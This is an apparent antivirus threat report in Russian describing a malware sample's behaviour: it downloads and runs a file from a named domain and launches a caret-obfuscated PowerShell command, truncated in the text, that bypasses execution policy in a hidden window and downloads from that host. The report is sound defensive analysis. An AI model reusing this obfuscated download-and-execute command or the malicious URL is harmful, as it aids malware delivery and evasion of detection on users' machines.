Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://transporingsytw.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PO^WE^rsHE^LL.EXE -ExecUT^i^onpO^l^ICY BY^P^Ass ^-noP^Ro^fi^l^E -w^inDOW^stYL^E^ ^HID^DE^N (N^e^w^-O^BjEct sY^st^eM.nE^t.WEB^cl^Ient^).d^Ow^n^Load^FILe^(^'http://transporingsyt...
Сетевая активность
UDP
- DNS ASK tr#####ringsytw.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PO^WE^rsHE^LL.EXE -ExecUT^i^onpO^l^ICY BY^P^Ass ^-noP^Ro^fi^l^E -w^inDOW^stYL^E^ ^HID^DE^N (N^e^w^-O^BjEct sY^st^eM.nE^t.WEB^cl^Ient^).d^Ow^n^Load^FILe^(^'http://transporingsyt...' (со скрытым окном)
